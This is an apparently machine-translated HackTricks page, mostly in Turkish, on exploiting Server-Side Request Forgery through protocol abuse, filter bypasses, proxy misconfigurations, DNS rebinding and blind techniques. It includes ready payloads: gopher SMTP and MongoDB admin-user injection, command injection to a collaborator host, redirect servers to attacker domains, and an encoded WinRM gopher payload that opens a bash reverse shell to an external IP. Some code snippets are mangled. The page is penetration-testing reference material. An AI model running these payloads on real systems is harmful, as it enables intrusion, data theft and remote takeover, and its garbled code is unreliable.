SSRF (Server Side Request Forgery)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bir Server-side Request Forgery (SSRF) zafiyeti, saldırganın bir sunucu tarafı uygulamayı seçtiği bir domaine HTTP requests göndermesi için manipüle etmesi durumunda oluşur. Bu zafiyet sunucuyu saldırgan tarafından yönlendirilen keyfi dış isteklere karşı açık hale getirir.

SSRF Yakalama

İlk yapmanız gereken, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:

Beyaz Liste Alan Adları Bypass

Genellikle SSRF’nin yalnızca belirli beyaz listeye alınmış alan adlarında veya URL’de çalıştığını görürsünüz. Aşağıdaki sayfada bu beyaz listeyi bypass etmeyi denemek için bir teknikler derlemesi bulabilirsiniz:

URL Format Bypass

Open Redirect ile Bypass

Eğer sunucu doğru şekilde korunuyorsa, web sayfası içindeki bir Open Redirect’i istismar ederek tüm kısıtlamaları bypass edebilirsiniz. Web sayfası muhtemelen aynı domaine SSRF’e izin verir ve muhtemelen redirect’leri takip eder, bu yüzden Open Redirect’i kullanarak sunucunun herhangi bir dahili kaynağa erişmesini sağlayabilirsiniz.
Daha fazlasını buradan okuyun: https://portswigger.net/web-security/ssrf

Protokoller

  • file://
  • URL şeması file:// belirtilmiş, doğrudan /etc/passwd’e işaret ediyor: file:///etc/passwd
  • dict://
  • DICT URL şeması, DICT protokolü üzerinden tanım veya kelime listelerine erişmek için kullanıldığı şeklinde açıklanır. Verilen örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL’yi gösterir ve ayrıca bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgileri ile bir DICT sunucusuna bağlanmak için kötüye kullanılabileceği örneklendirilmiştir: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Güvenli shell üzerinden güvenli dosya transferi için kullanılan bir protokoldür; bir örnek, bir PHP betiğinin kötü amaçlı bir SFTP sunucusuna bağlanmak için suistimal edilebileceğini gösterir: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, UDP üzerinde çalışır; bir örnek PHP betiği, ‘generic.com’ adresindeki bir TFTP sunucusuna ‘TESTUDPPACKET’ dosyası için istek göndermektedir: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Lightweight Directory Access Protocol hakkında bilgi verir; IP ağları üzerinde dağıtılmış dizin bilgi servislerine erişim ve yönetim için kullanılır. localhost üzerinde bir LDAP sunucusu ile etkileşim örneği: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF zafiyetlerini kullanarak localhost’taki SMTP servisleri ile etkileşim kurmaya yönelik bir yöntem açıklanır; dahili domain isimlerini ortaya çıkarmak ve bu bilgiye dayanarak daha fazla inceleme yapmak için adımlar içerir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Eğer SSRF curl ile çalıştırılıyorsa, curl’in URL globbing adında bir özelliği vardır; bu, WAF’ları atlatmak için işe yarayabilir. Örneğin bu writeup içinde path traversal via file protocol örneğini bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher protokolünün server communication için IP, port ve bytes belirtme yeteneği ele alınıyor; Gopherus ve remote-method-guesser gibi araçlarla payloads oluşturma anlatılıyor. İki farklı kullanım gösteriliyor:

Gopher://

Bu protokolü kullanarak server’ın IP, port and bytes’ını send etmesini istediğiniz şekilde belirleyebilirsiniz. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first).
Fortunately, you can use Gopherus to create payloads for several services. Additionally, remote-method-guesser can be used to create gopher payloads for Java RMI services.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect 1337’ye

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – username=admin, password=admin123 ve permission=administrator ile kullanıcı oluşturun

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

Referrer header ve Diğerleri aracılığıyla SSRF

Sunuculardaki analitik yazılımlar genellikle gelen bağlantıları takip etmek için Referrer header’ı kaydeder; bu uygulama istemeden uygulamaları Server-Side Request Forgery (SSRF) zafiyetlerine açar. Bunun nedeni, bu tür yazılımların yönlendiren site içeriğini analiz etmek için Referrer header’da belirtilen dış URL’leri ziyaret edebilmesidir. Bu zafiyetleri ortaya çıkarmak için, analytics araçlarının Referer header’ı işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini tespit eden Burp Suite eklentisi “Collaborator Everywhere” önerilir.

Sertifikadaki SNI verisi aracılığıyla SSRF

Basit bir yapılandırma ile herhangi bir backend’e bağlantı kurulmasına izin verebilecek bir yanlış yapılandırma, örnek bir Nginx konfigürasyonu ile gösterilmiştir:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Bu konfigürasyonda Server Name Indication (SNI) alanındaki değer doğrudan backend adresi olarak kullanılıyor. Bu yapı, Server-Side Request Forgery (SSRF) zafiyetine yol açar; SNI alanına istenen IP adresi veya alan adını girerek istismar edilebilir. Aşağıda, openssl komutuyla internal.host.com gibi rastgele bir back-ende bağlantı zorlamak için bir istismar örneği verilmiştir:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Bazı TLS yığınları, peer sertifikası içindeki Authority Information Access (AIA) → CA Issuers URI’sini kullanarak eksik ara CA’ları otomatik olarak indirir. Java’da, bir mTLS servisini çalıştırırken -Dcom.sun.security.enableAIAcaIssuers=true etkinleştirmek, sunucunun istemci sertifikasındaki saldırgan tarafından kontrol edilen URI’leri el sıkışma sırasında (during the handshake), herhangi bir HTTP mantığı çalışmadan önce çözümlenmesine neden olur.

  • Gereksinimler: mTLS etkin, Java AIA fetching etkin, saldırgan crafted bir AIA CA Issuers URI içeren bir istemci sertifikası sunabilir.
  • Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java certpath debug çıktısı CertStore URI:http://localhost:8080 gösterir ve nc, -Dhttp.agent ile kontrol edilebilen User-Agent’ı içeren HTTP isteğini yakalar; bu, sertifika doğrulaması sırasında SSRF olduğunu kanıtlar.

  • DoS via file://: AIA CA Issuers’i Unix-benzeri sistemlerde file:///dev/urandom olarak ayarlamak, Java’nın bunu bir CertStore olarak ele almasına ve sınırsız rastgele baytlar okumasına neden olur; bu bir CPU çekirdeğini meşgul eder ve istemci bağlantıyı kapattıktan sonra bile sonraki bağlantıları engeller.

SSRF via CSS Pre-Processors

LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS pre-processor’tür. Derleme sırasında LESS motoru, @import ifadelerinde referans verilen kaynakları fetch eder ve (inline) seçeneği kullanıldığında içeriklerini sonuç CSS’ye gömer (“inline”).

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

Böyle bir payload denemeye değer olabilir: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, PDF oluşturulurken PDF oluşturucu tarafından (sunucu) yürütülecek bazı JS ekleyebilir ve böylece SSRF’yi kötüye kullanabilirsiniz. Find more information here.

From SSRF to DoS

Birden fazla oturum oluşturun ve oturumlardan SSRF’i kullanarak büyük dosyalar indirmeyi deneyin.

SSRF PHP Functions

Kırılgan PHP ve hatta Wordpress fonksiyonları için aşağıdaki sayfaya bakın:

PHP SSRF

SSRF Redirect to Gopher

Bazı istismarlarda bir redirect yanıtı göndermeniz (potansiyel olarak gopher gibi farklı bir protokol kullanmak için) gerekebilir. Aşağıda redirect ile yanıt vermek için çeşitli python kodları bulunuyor:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

SSRF için yanlış yapılandırılmış proxy’ler

Püf noktaları from this post.

Flask

Flask proxy zafiyeti içeren kod ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask, başlangıç karakteri olarak **`@`** kullanılmasına izin verir; bu, **ilk host adını kullanıcı adı** yapmayı ve yeni bir tane inject etmeyi mümkün kılar. Saldırı isteği:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Zafiyetli kod:

Bir isteğin path’ini başlatmanın ; karakteri ile mümkün olduğu keşfedildi; bu da sonrasında @ kullanılmasına ve erişilecek yeni bir host enjekte edilmesine izin veriyor. Saldırı isteği:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Yerleşik Web Sunucusu

Zafiyetli PHP kodu ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP, URL'nin path kısmında **slash (`/`) öncesinde `*` karakterinin** kullanılmasına izin verir; ancak bunun yalnızca kök yol adı `/` için kullanılabileceği ve ilk `/`'den önce `.` karakterlerine izin verilmediği gibi başka sınırlamaları vardır; bu yüzden örneğin noktasız-hex kodlu bir IP adresi kullanmak gerekir:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Mutlak URL’leri istek satırında kabul eden reverse proxies (open forward-proxy)

Bazı reverse proxy’ler aynı zamanda absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) kabul eder ve URL’yi reddetmek veya yapılandırılmış upstream’e yeniden yazmak yerine olduğu gibi backend’e iletir. Bu, reverse proxy’yi pre-auth forward proxy with full-read SSRF’ye dönüştürür; böylece Internet’ten normalde ulaşılamayan localhost’a bağlı servislere erişim sağlar.

Key points:

  • Request line controls destination: mutlak URL’deki authority normal yönlendirmeyi geçersiz kılar; the Host header is usually ignored.
  • Full response returned: internal hosts’tan gelen yanıtlar akış halinde geri iletilir, böylece kör denemeler yapmak yerine (ör. SOAP/Axis2, Keycloak, admin consoles) sıralama ve etkileşim yapabilirsiniz.
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n loopback-only dinleyicilerine ulaşmak için yeterlidir.
  • Abuse as pivot: intra-host servislere erişmek için diğer vulns (ör. upload endpoints) ile birleştirin.

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

If you see the upstream response instead of a 400, the appliance is acting as an open proxy.

DNS Rebidding CORS/SOP bypass

Eğer CORS/SOP nedeniyle bir local IP’den içerik exfiltrate etmekte problems yaşıyorsanız, DNS Rebidding bu sınırlamayı bypass etmek için kullanılabilir:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine’s IP address and to serve attack payloads to exploit vulnerable software on the target machine.

Ayrıca public olarak çalışan server’ı şu adreste inceleyin: http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. Ask the user/bot access a domain controlled by the attacker
  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
  5. In the DNS request a private IP address is given now (127.0.0.1 for example)
  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Blind SSRF ile non-blind arasındaki fark, blind durumda SSRF isteğinin yanıtını göremiyor olmanızdır. Bu nedenle exploit etmek daha zordur çünkü yalnızca iyi bilinen zafiyetleri exploit edebilirsiniz.

Time based SSRF

Sunucudan gelen yanıtların zamanını kontrol ederek, bir resource’un mevcut olup olmadığını bilmek mümkün olabilir (ör. mevcut bir resource’a erişmek, mevcut olmayan birine erişmekten daha fazla zaman alabilir)

From blid to full abusing status codes

According to this blog post, some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.

However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application follow these redirects while entering an error mode that no longer will check the format of the data and might just print it.

The python server used to exploit this is th following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Adımlar:

  • İlk olarak 302 uygulamanın takip etmeye başlamasını sağlar.
  • Sonra 305 → 306 → 307 → 308 → 309 → 310 alır.
    1. garip koddan sonra PoC nihayet 302 → 169.254.169.254 → 200 OK döndürür.

Hedefin içinde ne oluyor:

  • libcurl kendisi 305–310’u takip eder; bilinmeyen kodları sadece “follow.” olarak normalleştirir.
  • N kadar garip yeniden yönlendirmeden (burada ≥ 5) sonra uygulamanın kendi wrapper’ı “something is off” karar verip hata ayıklama amaçlı bir hata moduna geçer.
  • Bu modda tüm yeniden yönlendirme zincirini ve son body’yi dış çağırana döker.
  • Sonuç: attacker her header + metadata JSON’ını görür, mission accomplished.

Not: Bu, daha önce leak edemediğiniz status code’ları (ör. 200) leak etmek için ilginç. Ancak eğer bir şekilde yanıtın status code’unu da seçebilseydiniz (örneğin AWS metadata’sının 500 status code ile cevap vermesine karar verebildiğinizi hayal edin), bazı status code’ların yanıtın içeriğini doğrudan leak edebileceği anlamına gelebilir.

HTML-to-PDF renderers as blind SSRF gadgets

TCPDF gibi kütüphaneler (ve spipu/html2pdf gibi wrapper’lar) PDF render ederken attacker-controlled HTML’de bulunan herhangi bir URL’yi otomatik olarak çeker. Her <img> veya <link rel="stylesheet"> özniteliği sunucu tarafında cURL, getimagesize(), veya file_get_contents() ile çözülür, bu yüzden HTTP cevabı size yansıtılmasa bile PDF worker’ı iç hostları sorgulatmak için yönlendirebilirsiniz.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0, her <img> kaynağı için birkaç alma girişimi yapar; bu yüzden tek bir payload birden fazla istek üretebilir (helpful for timing-based port scans).
  • html2pdf, <img> için TCPDF’in davranışını kopyalar ve Css::extractStyle() içinde CSS alma ekler; bu fonksiyon yüzeysel bir scheme kontrolünden sonra basitçe file_get_contents($href) çağırır. Bunu loopback servislerine, RFC1918 aralıklarına veya cloud metadata endpoints hedeflemek için kötüye kullanın.
  • Bu SSRF primitive’ini HTML-to-PDF path traversal tricks ile birleştirerek hem internal HTTP responses hem de local files rendered into the PDF’leri leak edebilirsiniz.

Güvenlik uygulayıcıları dış URL’leri render etmeden önce temizlemeli veya renderer’ı bir network sandbox içinde izole etmelidir; o zamana kadar PDF generators’ları blind SSRF proxies olarak değerlendirin.

Cloud SSRF Exploitation

Bir makinede, cloud ortamı içinde çalışan bir sistemde SSRF zafiyeti bulursanız cloud ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:

Cloud SSRF

SSRF Vulnerable Platforms

Bilinen birkaç platform SSRF zafiyeti içeriyor ya da içeriyordu, bunları şu kaynağa bakarak kontrol edin:

SSRF Vulnerable Platforms

Tools

SSRFMap

Tool to detect and exploit SSRF vulnerabilities

Gopherus

This tool generates Gopher payloads for:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser en yaygın Java RMI zafiyetleri için saldırı operasyonlarını destekleyen bir Java RMI zafiyet tarayıcısıdır. Kullanılabilir operasyonların çoğu, istenen işlem için bir SSRF payload’u oluşturmak üzere --ssrf seçeneğini destekler. --gopher seçeneği ile birlikte, kullanıma hazır gopher payload’ları doğrudan oluşturulabilir.

SSRF Proxy

SSRF Proxy, Server-Side Request Forgery (SSRF) zafiyeti olan HTTP sunucuları üzerinden istemci HTTP trafiğini tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur.

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin